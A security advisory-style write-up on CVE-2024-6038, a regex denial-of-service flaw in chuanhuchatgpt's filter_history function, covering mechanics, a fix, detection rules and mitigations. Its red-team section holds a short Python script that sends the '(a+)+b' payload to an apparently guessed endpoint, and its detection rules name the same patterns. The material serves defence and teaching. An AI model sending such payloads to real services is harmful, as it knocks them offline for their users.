CVE-2024-6038

Executive Summary

CVE-2024-6038 is a Regular Expression Denial of Service (ReDoS) vulnerability identified in the gaizhenbiao/chuanhuchatgpt project. The flaw resides in the filter_history function within utils.py, where user-supplied input is used directly in a regular expression operation without sanitization. An attacker can craft a malicious regex pattern that causes catastrophic backtracking, leading to CPU exhaustion and service unavailability. With a CVSS score of 7.5 (High), this vulnerability poses a significant availability risk to affected systems. No patch is currently available, and the vendor has not released a fix.

Supply Chain & Package Security

This vulnerability affects the Python-based chuanhuchatgpt package, which may be distributed via PyPI or other package registries. Users should verify the integrity of their installed packages and monitor for updates from the vendor. The lack of a patch increases the risk of supply chain attacks if the package is used as a dependency in other projects.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: None
• Availability Impact: High

The vulnerability is remotely exploitable without authentication, making it a high-priority threat for any internet-facing instance of chuanhuchatgpt.

Deep Dive & Mechanics

The filter_history function in utils.py is designed to filter chat history filenames based on a user-provided keyword. The function uses Python's re.search() to match the keyword against filenames. The critical flaw is that the keyword is not sanitized or validated before being passed to the regex engine.

Vulnerable Code Snippet (Conceptual):

import re
import os

def filter_history(keyword, history_dir):
    matched_files = []
    for filename in os.listdir(history_dir):
        if re.search(keyword, filename):  # User input directly used as regex
            matched_files.append(filename)
    return matched_files

An attacker can supply a regex pattern like (a+)+b which, when matched against a string like "aaaaac", causes catastrophic backtracking. The regex engine tries many combinations, consuming excessive CPU time and potentially causing the application to hang or crash.

ReDoS Payload Example:

(a+)+b

When this pattern is used as the keyword, the regex engine will attempt to match it against filenames, leading to exponential backtracking if the filename contains a long sequence of 'a' characters followed by a non-matching character.

Vulnerable vs. Patched Code

Vulnerable Code:

def filter_history(keyword, history_dir):
    matched_files = []
    for filename in os.listdir(history_dir):
        if re.search(keyword, filename):  # Unsanitized user input
            matched_files.append(filename)
    return matched_files

Patched Code (Recommended):

import re

def filter_history(keyword, history_dir):
    # Escape the keyword to treat it as a literal string
    escaped_keyword = re.escape(keyword)
    matched_files = []
    for filename in os.listdir(history_dir):
        if re.search(escaped_keyword, filename):
            matched_files.append(filename)
    return matched_files

The patch uses re.escape() to ensure the user input is treated as a literal string, preventing regex injection. Additionally, a timeout mechanism (e.g., using signal or threading) should be implemented to abort long-running regex operations.

Exploitation & Lab Setup

Red Team (Attacker)

Objective: Cause a denial of service by sending a malicious regex payload to the vulnerable endpoint.

Lab Setup:

1. Deploy a local instance of chuanhuchatgpt (latest version).
2. Identify the endpoint that calls filter_history (e.g., /filter_history or similar).
3. Send a POST request with a crafted ReDoS payload.

Exploit Script (Python):

import requests

target_url = "http://localhost:5000/filter_history"
payload = {"keyword": "(a+)+b"}

try:
    response = requests.post(target_url, json=payload, timeout=5)
    print(f"Response: {response.status_code}")
except requests.exceptions.Timeout:
    print("Service is unresponsive - ReDoS successful")
except Exception as e:
    print(f"Error: {e}")

Expected Outcome: The server becomes unresponsive or returns a timeout error, indicating successful exploitation.

Blue Team (Defender)

Detection & Mitigation:

• Monitor for high CPU usage on the server.
• Implement input validation to reject suspicious regex patterns (e.g., patterns with nested quantifiers).
• Use a Web Application Firewall (WAF) to block known ReDoS payloads.
• Apply rate limiting to the vulnerable endpoint.

Honeypot Detection:

• Deploy a honeypot that logs all regex patterns submitted to filter_history.
• Alert on patterns containing (a+)+, (.*)+, or similar constructs.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP POST requests to /filter_history with JSON body containing regex patterns like (a+)+b, (.*)+, etc.
  • Repeated requests from the same IP address to the vulnerable endpoint.
• System IOCs:
  • High CPU usage by the Python process running chuanhuchatgpt.
  • Application logs showing timeout errors or unresponsive behavior.
• File IOCs:
  • Log entries containing the malicious regex pattern.

Detection Engineering

YARA Rule

rule ReDoS_CVE_2024_6038 {
    meta:
        description = "Detects ReDoS payloads targeting CVE-2024-6038"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-6038"
    strings:
        $re1 = /\(a\+\)\+b/ nocase
        $re2 = /\(\.\*\)\+/ nocase
        $re3 = /\(a\+\)\+[a-z]/ nocase
    condition:
        any of them
}

Sigma Rule

title: ReDoS Payload Detection for CVE-2024-6038
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects HTTP requests containing ReDoS patterns targeting chuanhuchatgpt
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/filter_history'
        cs-body|contains: 
            - '(a+)+b'
            - '(.*)+'
    condition: selection
falsepositives:
    - Legitimate use of regex patterns (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-6038 ReDoS Payload Detected"; flow:to_server; content:"POST"; http_method; content:"/filter_history"; http_uri; content:"(a+)+b"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Input Sanitization: Escape user input using re.escape() before passing it to regex functions.
2. Regex Timeout: Implement a timeout for regex operations (e.g., using signal.alarm() or threading.Timer).
3. Rate Limiting: Apply rate limiting to the vulnerable endpoint to reduce the impact of repeated attacks.
4. WAF Rules: Deploy WAF rules to block known ReDoS patterns.

Long-Term Fix:

• Wait for the vendor to release an official patch.
• Consider replacing the vulnerable function with a safer alternative (e.g., using string matching instead of regex).

Workaround:

• Disable the filter_history functionality if not essential.
• Restrict access to the endpoint via network segmentation or authentication.

Valters IT